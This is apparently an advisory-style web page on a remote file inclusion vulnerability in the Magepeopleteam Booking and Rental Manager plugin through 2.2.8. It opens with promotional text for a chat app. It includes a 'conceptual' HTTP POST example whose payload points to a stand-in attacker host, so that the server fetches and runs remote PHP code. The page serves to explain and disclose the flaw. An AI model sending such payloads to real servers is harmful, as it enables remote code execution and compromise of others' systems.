Affected Products
A new way to communicate
Ameeba Chat is built on encrypted identity, not personal profiles.
Message, call, share files, and coordinate with identities kept separate.
- • Encrypted identity
- • Ameeba Chat authenticates access
- • Aliases and categories
- • End-to-end encrypted chat, calls, and files
- • Secure notes for sensitive information
Private communication, rethought.
Product | Affected Versions
Magepeopleteam Booking and Rental Manager | n/a through 2.2.8
How the Exploit Works
The exploit works by allowing an attacker to control the filename in a PHP include/require statement. This is done through a remote file inclusion vulnerability, allowing an attacker to execute arbitrary PHP code. The attacker can manipulate the input to these statements to reference a file of their choosing, often on a remote system under their control. This could result in the execution of arbitrary code, leading to unauthorized access, data leakage, or even a system compromise.
Conceptual Example Code
This conceptual example demonstrates how the vulnerability might be exploited. The attacker sends a POST request with a malicious payload to a vulnerable endpoint.
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "http://attacker.com/malicious_script.php" }In this example, the “malicious_payload” would cause the server to include and execute the PHP code located at the specified URL, potentially leading to a system compromise.
